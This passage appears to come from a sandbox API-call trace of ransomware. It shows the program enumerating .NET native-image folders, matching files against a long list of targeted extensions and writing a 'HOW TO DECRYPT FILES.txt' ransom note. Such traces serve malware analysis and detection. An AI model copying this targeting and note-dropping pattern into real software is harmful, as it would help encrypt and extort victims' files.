(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.gpg") returned 0 [0112.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.vsd") returned 0 [0112.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.odg") returned 0 [0112.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.raw") returned 0 [0112.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.nef") returned 0 [0112.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.svg") returned 0 [0112.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.psd") returned 0 [0112.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.vmx") returned 0 [0112.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.vmdk") returned 0 [0112.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.vdi") returned 0 [0112.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.lay6") returned 0 [0112.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.mpeg") returned 0 [0112.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.djvu") returned 0 [0112.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.tiff") returned 0 [0112.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.backup") returned 0 [0112.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.pdf") returned 0 [0112.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.cert") returned 0 [0112.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.docm") returned 0 [0112.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.xlsm") returned 0 [0112.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.dwg") returned 0 [0112.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.nd") returned 0 [0112.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.tlg") returned 0 [0112.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.lgb") returned 0 [0112.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.mov") returned 0 [0112.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.xdw") returned 0 [0112.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.ods") returned 0 [0112.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.wav") returned 0 [0112.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.mp3") returned 0 [0112.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.aiff") returned 0 [0112.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.flac") returned 0 [0112.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.m4a") returned 0 [0112.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.csv") returned 0 [0112.470] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5255c3f, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x5255c3f, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x527bda0, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x2f800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.470] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.471] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c8060, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x52c8060, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x52c8060, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="56ccdabce54219b23bc4b6477d98b45c", cAlternateFileName="56CCDA~1")) returned 0 [0112.471] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.471] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x158070c1, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1582d221, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1582d221, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.Entity", cAlternateFileName="SYSTEM~2.ENT")) returned 1 [0112.471] lstrcmpA (lpString1=".", lpString2="System.Data.Entity") returned -1 [0112.471] lstrcmpA (lpString1="..", lpString2="System.Data.Entity") returned -1 [0112.471] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.471] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Data.Entity" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity" [0112.471] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x158070c1, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1582d221, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1582d221, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.472] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.472] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x158070c1, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1582d221, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1582d221, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.472] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.472] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.472] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1582d221, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1582d221, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1582d221, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="84467aa24019da88d4aece177e51a223", cAlternateFileName="84467A~1")) returned 1 [0112.473] lstrcmpA (lpString1=".", lpString2="84467aa24019da88d4aece177e51a223") returned -1 [0112.473] lstrcmpA (lpString1="..", lpString2="84467aa24019da88d4aece177e51a223") returned -1 [0112.473] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\*.*") returned="*.*" [0112.473] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\", lpString2="84467aa24019da88d4aece177e51a223" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223" [0112.473] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1582d221, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1582d221, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1582d221, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.474] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.474] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1582d221, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1582d221, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1582d221, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.474] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.474] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.474] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x154c127b, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x154c127b, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x15617ede, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0xd1f600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Entity.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.474] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.474] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.Entity.ni.dll") returned -1 [0112.474] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.Entity.ni.dll") returned -1 [0112.474] lstrcmpiA (lpString1="", lpString2="System.Data.Entity.ni.dll") returned -1 [0112.474] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\*.*") returned="*.*" [0112.474] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\" [0112.474] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\") returned="" [0112.475] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\HOW TO DECRYPT FILES.txt" [0112.475] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data.entity\\84467aa24019da88d4aece177e51a223\\how to decrypt files.txt")) returned 0xffffffff [0112.475] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data.entity\\84467aa24019da88d4aece177e51a223\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.476] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.478] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.478] CloseHandle (hObject=0x90) returned 1 [0112.478] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\", lpString2="System.Data.Entity.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll" [0112.478] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.ems") returned 0 [0112.478] lstrlenA (lpString="*.ems") returned 5 [0112.478] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.db") returned 0 [0112.478] lstrlenA (lpString="*.db") returned 4 [0112.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.dbf") returned 0 [0112.479] lstrlenA (lpString="*.dbf") returned 5 [0112.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.myox") returned 0 [0112.479] lstrlenA (lpString="*.myox") returned 6 [0112.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.myo") returned 0 [0112.479] lstrlenA (lpString="*.myo") returned 5 [0112.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.qbw") returned 0 [0112.479] lstrlenA (lpString="*.qbw") returned 5 [0112.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.qbb") returned 0 [0112.479] lstrlenA (lpString="*.qbb") returned 5 [0112.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.qbm") returned 0 [0112.479] lstrlenA (lpString="*.qbm") returned 5 [0112.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.qbo") returned 0 [0112.479] lstrlenA (lpString="*.qbo") returned 5 [0112.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.qbx") returned 0 [0112.479] lstrlenA (lpString="*.qbx") returned 5 [0112.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.qba") returned 0 [0112.479] lstrlenA (lpString="*.qba") returned 5 [0112.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.qby") returned 0 [0112.479] lstrlenA (lpString="*.qby") returned 5 [0112.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.qbj") returned 0 [0112.480] lstrlenA (lpString="*.qbj") returned 5 [0112.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.ofx") returned 0 [0112.480] lstrlenA (lpString="*.ofx") returned 5 [0112.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.qif") returned 0 [0112.480] lstrlenA (lpString="*.qif") returned 5 [0112.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.mye") returned 0 [0112.480] lstrlenA (lpString="*.mye") returned 5 [0112.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.mbox") returned 0 [0112.480] lstrlenA (lpString="*.mbox") returned 6 [0112.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.eml") returned 0 [0112.480] lstrlenA (lpString="*.eml") returned 5 [0112.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.pst") returned 0 [0112.480] lstrlenA (lpString="*.pst") returned 5 [0112.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.ost") returned 0 [0112.480] lstrlenA (lpString="*.ost") returned 5 [0112.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.idx") returned 0 [0112.480] lstrlenA (lpString="*.idx") returned 5 [0112.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.dbx") returned 0 [0112.480] lstrlenA (lpString="*.dbx") returned 5 [0112.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.sql") returned 0 [0112.480] lstrlenA (lpString="*.sql") returned 5 [0112.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.mdb") returned 0 [0112.480] lstrlenA (lpString="*.mdb") returned 5 [0112.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.fdb") returned 0 [0112.481] lstrlenA (lpString="*.fdb") returned 5 [0112.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.wab") returned 0 [0112.481] lstrlenA (lpString="*.wab") returned 5 [0112.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.dat") returned 0 [0112.481] lstrlenA (lpString="*.dat") returned 5 [0112.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.txt") returned 0 [0112.481] lstrlenA (lpString="*.txt") returned 5 [0112.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.jpeg") returned 0 [0112.481] lstrlenA (lpString="*.jpeg") returned 6 [0112.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.jpg") returned 0 [0112.481] lstrlenA (lpString="*.jpg") returned 5 [0112.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.png") returned 0 [0112.481] lstrlenA (lpString="*.png") returned 5 [0112.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.php") returned 0 [0112.481] lstrlenA (lpString="*.php") returned 5 [0112.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.cs") returned 0 [0112.481] lstrlenA (lpString="*.cs") returned 4 [0112.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.cpp") returned 0 [0112.481] lstrlenA (lpString="*.cpp") returned 5 [0112.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.rar") returned 0 [0112.481] lstrlenA (lpString="*.rar") returned 5 [0112.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.zip") returned 0 [0112.481] lstrlenA (lpString="*.zip") returned 5 [0112.481] PathMatchSpecA 